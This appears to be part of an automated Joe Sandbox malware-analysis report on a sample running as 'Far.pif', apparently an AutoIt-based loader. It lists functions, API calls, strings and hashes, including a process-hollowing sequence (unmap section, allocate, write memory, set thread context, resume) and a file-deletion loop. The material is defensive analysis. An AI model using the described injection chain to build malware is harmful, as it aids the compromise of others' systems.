ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 028F02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 028F02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 028F0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 028F032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 028F0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 028F03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 028F03E1
ResumeThread.KERNELBASE(00000000), ref: 028F03ED
ExitProcess.KERNEL32(00000000), ref: 028F0412

Memory Dump Source

Source File: 0000000D.00000002.2101776006.00000000028F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_28f0000_4577.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 0995d5bc259647b16306fc3b51a89c8512aa27a480c54ce417386f4da38e1d45
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3FB1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E649AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 028F0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 028F0533

Strings

saodkfnosa9uin, xrefs: 028F04DA
0, xrefs: 028F0492
mfoaskdfnoa, xrefs: 028F0520, 028F0523
d, xrefs: 028F0584

Memory Dump Source

Source File: 0000000D.00000002.2101776006.00000000028F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_28f0000_4577.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: f92a56f1f9b0b043daec214c843fa475013b6f29fdea26c4875b41ef8b039a25
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 94511674D08388DEEB11CBE8C849B9DBFB2AF15708F144058D5487F28AC3FA5659CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028F05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 028F05EC

Strings

apfHQ, xrefs: 028F05E2, 028F05E5
o, xrefs: 028F0600

Memory Dump Source

Source File: 0000000D.00000002.2101776006.00000000028F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_28f0000_4577.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5296ff493b0f0a87aa8c3d34dc0cd8604aae5552494debb21b4e8d4d7242c23e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 18012174C0425CEEDF50DBD8C5183AEBFB5AF41309F1480D9C5096B242D7BA9B59CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027357C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 027357EE
Module32First.KERNEL32(00000000,00000224), ref: 0273580E

Memory Dump Source

Source File: 0000000D.00000002.2101613794.0000000002735000.00000040.00000020.00020000.00000000.sdmp, Offset: 02735000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2735000_4577.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d90a79ac6eb36619a79e50cdf626625d6e281476d8afb1ab46106288ae84591d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7AF09631200711BFD7213FF5A88DBAE76E8AF4D625F500528E642920C1DB70E8454B61

Uniqueness

Uniqueness Score: -1.00%

Function 02735485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 027354D6

Memory Dump Source

Source File: 0000000D.00000002.2101613794.0000000002735000.00000040.00000020.00020000.00000000.sdmp, Offset: 02735000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2735000_4577.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 73c50178e86a179e412f3e0de940df2d41f8f4b522dc44f1fb4bd48fcceb9410
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 3C113C79A00208EFDB01DF98C985E99BFF5AF08350F458094F9489B362D371EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Far.pifPID: 3664, Parent PID: 3412COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.1%
Total number of Nodes:	1870
Total number of Limit Nodes:	54

Executed Functions

Function 00007FF73D0BC948 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73D05D3F4: GetFullPathNameW.KERNEL32(?,00007FF73D05D3E1,?,00007FF73D044D38,?,?,?,00007FF73D04109E), ref: 00007FF73D05D41F

Part of subcall function 00007FF73D0BDCA4: GetFileAttributesW.KERNELBASE ref: 00007FF73D0BDCA8

FindFirstFileW.KERNELBASE ref: 00007FF73D0BC9E1
DeleteFileW.KERNEL32 ref: 00007FF73D0BCA33
FindNextFileW.KERNEL32 ref: 00007FF73D0BCA45
FindClose.KERNEL32 ref: 00007FF73D0BCA57
FindClose.KERNEL32 ref: 00007FF73D0BCA62

Strings

\*.*, xrefs: 00007FF73D0BC9AB

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: d4fee068a2ce70684d64e1ee363191ecc88e9671b979ab68bca7b2bea32beed7
Instruction ID: 75e7d25fbc0be1580a1f7a35c7dba18bc4e19000ef6f46b90811ff2d3d0b6d54
Opcode Fuzzy Hash: d4fee068a2ce70684d64e1ee363191ecc88e9671b979ab68bca7b2bea32beed7
Instruction Fuzzy Hash: BF41A622A2CA46A1EA10FBA0E4446EDA360FF94F54FD01131FA5E43695EF7CE505DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D061D7C Relevance: 9.2, APIs: 6, Instructions: 243
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00007FF73D061DC4
GetCurrentProcess.KERNEL32 ref: 00007FF73D061F42
IsWow64Process.KERNEL32 ref: 00007FF73D061F52
GetSystemInfo.KERNELBASE ref: 00007FF73D061F8B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Process$CurrentInfoSystemVersionWow64
String ID:
API String ID: 1568231622-0
Opcode ID: 99d212105d47f654f549046e31736f8ef43866d6f1065e89d7b8d8f607d867c4
Instruction ID: 4d73577f75a82067f7e4417d0b41fa08a6e0e87736d92e48b1b5b59f477867eb
Opcode Fuzzy Hash: 99d212105d47f654f549046e31736f8ef43866d6f1065e89d7b8d8f607d867c4
Instruction Fuzzy Hash: CBD1A751B5D68BE6E760ABE1B8001B5B750AF11B80FC64035D48D0366AFFADE189F372

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D050E00 Relevance: 6.6, APIs: 2, Strings: 1, Instructions: 1306COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF73D09CD17

Strings

Variable must be of type 'Object'., xrefs: 00007FF73D09CFEA

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Init_thread_footer
String ID: Variable must be of type 'Object'.
API String ID: 1385522511-109567571
Opcode ID: c7631b601c556c7217535abd22ec3b31add296a0ae578bc92de2dd3d0e1177b6
Instruction ID: 4592763c378b60b0e1f38865ef025ce1a697031eb0ddd255eed6f9247b222edb
Opcode Fuzzy Hash: c7631b601c556c7217535abd22ec3b31add296a0ae578bc92de2dd3d0e1177b6
Instruction Fuzzy Hash: D4D2C372A0CA4A92EB60AF95D4442BDB362FB44F94F844131DE4E477A4EF7DE441E320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D051C90 Relevance: 5.3, APIs: 3, Instructions: 832COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF73D053036

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 7579f0c320917bac1730762a7ae16fb7a451c07450a9c0a7c1cc55cdb2f27aef
Instruction ID: fe890bf9b750b71d69847f4136dcd26877b67a91ba051b9976c2611b7e7c6861
Opcode Fuzzy Hash: 7579f0c320917bac1730762a7ae16fb7a451c07450a9c0a7c1cc55cdb2f27aef
Instruction Fuzzy Hash: A5829E72A0D64AA2EB50EFA1E444679B3A2FB44F84F854035DE4D477A0EF3DE941E720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BD4A8 Relevance: 4.5, APIs: 3, Instructions: 19fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 00007FF73D0BD4B4
FindFirstFileW.KERNELBASE ref: 00007FF73D0BD4C7
FindClose.KERNEL32 ref: 00007FF73D0BD4DB

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 7c5168f3b9adef50d38398ac74ed53a3ec73362a57f70731c05e6a0fe4b7c129
Instruction ID: 8827ac78fbffea4f1eb55cae81d7b1e509fb7aa5ec763da1c56db24111e3f3e8
Opcode Fuzzy Hash: 7c5168f3b9adef50d38398ac74ed53a3ec73362a57f70731c05e6a0fe4b7c129
Instruction Fuzzy Hash: 18E0ED20D0D60AA3D924ABA4A484378A350BF55F75FE00330D57E052D4EF2CE448A520

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04E630 Relevance: 3.0, APIs: 1, Instructions: 1453COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BuffCharInputStateUpper
String ID:
API String ID: 3481770908-0
Opcode ID: 33aa1466423327e6eda594250b5cfccb10c396606bcb6fb5646ee98d95e330ff
Instruction ID: dc07843ca5ded6b17bb83e6a16e3bb8f20029873212f5c7dca0e4e125c0b9b92
Opcode Fuzzy Hash: 33aa1466423327e6eda594250b5cfccb10c396606bcb6fb5646ee98d95e330ff
Instruction Fuzzy Hash: 29E2EB72A0C69AA6EB10EFA5E4446BDB7B1FB44F84F904135DA4D07B94EF38E450DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D044C4C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73D05D3A0: GetModuleFileNameW.KERNEL32(?,00007FF73D044D38,?,?,?,00007FF73D04109E), ref: 00007FF73D05D3BF

Part of subcall function 00007FF73D0436AC: GetFullPathNameW.KERNEL32(?,00007FF73D044D47,?,?,?,00007FF73D04109E), ref: 00007FF73D0436D3

RegOpenKeyExW.KERNELBASE(?,?,?,00007FF73D04109E), ref: 00007FF73D044DA1
RegQueryValueExW.ADVAPI32(?,?,?,00007FF73D04109E), ref: 00007FF73D08B113
RegQueryValueExW.ADVAPI32(?,?,?,00007FF73D04109E), ref: 00007FF73D08B17B
RegCloseKey.ADVAPI32(?,?,?,00007FF73D04109E), ref: 00007FF73D08B1CA
wcscat.LIBCMT ref: 00007FF73D08B230
wcscat.LIBCMT ref: 00007FF73D08B261

Strings

\Include\, xrefs: 00007FF73D044D47
Software\AutoIt v3\AutoIt, xrefs: 00007FF73D044D90
Include, xrefs: 00007FF73D08B101, 00007FF73D08B164

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\Include\
API String ID: 2667193904-1575078665
Opcode ID: c7741d95bee3c6fd32f8d3b7d1974c07ae3417e6abdaa5afebd90e0a4014c184
Instruction ID: 7192f60a0e29774799602cde605caf9c434361ec8e25ae303ae05a8a78ede715
Opcode Fuzzy Hash: c7741d95bee3c6fd32f8d3b7d1974c07ae3417e6abdaa5afebd90e0a4014c184
Instruction Fuzzy Hash: F7919022A1C65BA1EB10FBA4E8444B9E364FF84B44FD04132E94D47AA5FFBCE105E760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D3B44 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00007FF73D0D3BBB
inet_addr.WSOCK32 ref: 00007FF73D0D3C19
gethostbyname.WS2_32 ref: 00007FF73D0D3C26
IcmpCreateFile.IPHLPAPI ref: 00007FF73D0D3C34
IcmpSendEcho.IPHLPAPI ref: 00007FF73D0D3CD9
IcmpCloseHandle.IPHLPAPI ref: 00007FF73D0D3DA3
WSACleanup.WSOCK32 ref: 00007FF73D0D3DA9

Strings

5, xrefs: 00007FF73D0D3CA5
Ping, xrefs: 00007FF73D0D3C6B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Icmp$CleanupCloseCreateEchoFileHandleSendStartupgethostbynameinet_addr
String ID: 5$Ping
API String ID: 1486594354-1972892582
Opcode ID: 230605a8232c8122680c35d0e6caf390dfb89a6af6dc93b85a8d462a5da27765
Instruction ID: 689cbb685dd2f5a3722b936134bfa8ab849c855d014230a70d2ed9340cbb1a0d
Opcode Fuzzy Hash: 230605a8232c8122680c35d0e6caf390dfb89a6af6dc93b85a8d462a5da27765
Instruction Fuzzy Hash: 84717162E0C64AA2EB10EBA6D4A437DB7A0FF84F90F814432DA5D47391EF7CD4459B21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D042EFC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32 ref: 00007FF73D042F86
KillTimer.USER32 ref: 00007FF73D042FC1
SetTimer.USER32 ref: 00007FF73D042FE9
RegisterWindowMessageW.USER32 ref: 00007FF73D042FF6
CreatePopupMenu.USER32 ref: 00007FF73D04300C
PostQuitMessage.USER32 ref: 00007FF73D043033

Strings

TaskbarCreated, xrefs: 00007FF73D042FEF

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 01a05819f3139090977056a6ae443ceb9ff842bd93d36ce1a55f375606104ef1
Instruction ID: 0021e8278dd3396bfcc192dbd4409bb78e8399e4f0af1396f7b31c1c07298155
Opcode Fuzzy Hash: 01a05819f3139090977056a6ae443ceb9ff842bd93d36ce1a55f375606104ef1
Instruction Fuzzy Hash: EC518121E1C51FA1F750BBA5E848678E665AF41F80FC40131D44E426A1FFAEE589BB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D042D74 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF73D042DC9
RegisterClassExW.USER32 ref: 00007FF73D042DFA
RegisterWindowMessageW.USER32 ref: 00007FF73D042E0E
InitCommonControlsEx.COMCTL32 ref: 00007FF73D042E2C
ImageList_Create.COMCTL32 ref: 00007FF73D042E47
LoadIconW.USER32 ref: 00007FF73D042E60
ImageList_ReplaceIcon.COMCTL32 ref: 00007FF73D042E73

Strings

TaskbarCreated, xrefs: 00007FF73D042E00
AutoIt v3 GUI, xrefs: 00007FF73D042DDC

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-2659433951
Opcode ID: 4f4b142336d7185ab5ba47471063aeefe10dde5161c241b84d2c0fddd58e2983
Instruction ID: b188720a27a4ae98b27ed14b7548fb8678604790b5a1bc105c9f0f076d7a7d1b
Opcode Fuzzy Hash: 4f4b142336d7185ab5ba47471063aeefe10dde5161c241b84d2c0fddd58e2983
Instruction Fuzzy Hash: 3B316B32A08B0AAAE740DFA0F8843AC77B8FB44758F940135CA4D13B54EF7D9198D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04C3E0 Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 435
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73D05CB68: CreateFileW.KERNELBASE ref: 00007FF73D05CBD2

Part of subcall function 00007FF73D064B18: GetCurrentDirectoryW.KERNEL32(?,00007FF73D04C483), ref: 00007FF73D064B34

Part of subcall function 00007FF73D05D3F4: GetFullPathNameW.KERNEL32(?,00007FF73D05D3E1,?,00007FF73D044D38,?,?,?,00007FF73D04109E), ref: 00007FF73D05D41F

SetCurrentDirectoryW.KERNELBASE ref: 00007FF73D04C51C
SetCurrentDirectoryW.KERNELBASE ref: 00007FF73D04C65C

Part of subcall function 00007FF73D047DA0: wcscpy.LIBCMT ref: 00007FF73D047DF1

Strings

Unterminated string, xrefs: 00007FF73D098890
Error opening the file, xrefs: 00007FF73D0984AF, 00007FF73D098835
AU3!, xrefs: 00007FF73D04C4CB
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00007FF73D09848E
Bad directive syntax error, xrefs: 00007FF73D098808
EA06, xrefs: 00007FF73D0984CF

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2207129308-3738523708
Opcode ID: c5e7cae54188732221b01c2cfd5b4fe2d0b13dcde0300efd9fa887f96d6c305b
Instruction ID: e98ef66433461738d2c081dab50d6cfb1342f7f401ce33c50b0951b193af6fe6
Opcode Fuzzy Hash: c5e7cae54188732221b01c2cfd5b4fe2d0b13dcde0300efd9fa887f96d6c305b
Instruction Fuzzy Hash: 9412A322A0C65AA5EB10FBA1D4845BEE370FB84B94FC04135EA4D47BA5EF7CD505EB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0439A8 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 289
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM ref: 00007FF73D043A13
OleUninitialize.OLE32 ref: 00007FF73D043B0F
UnregisterHotKey.USER32(?,?,?,00007FF73D043989), ref: 00007FF73D043CD7
DestroyWindow.USER32(?,?,?,00007FF73D043989), ref: 00007FF73D08AC20

Strings

close all, xrefs: 00007FF73D043A07

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: DestroySendStringUninitializeUnregisterWindow
String ID: close all
API String ID: 1992507300-3243417748
Opcode ID: 138d970bcafbcf0fce3962cf9bcb081ba53b453e27770a172e93d5712241f3c4
Instruction ID: fd3e7eb6ce8d22ec8fc10fa845ad7c18b065c7e2dc36ae45c9c381a6c19ddaa5
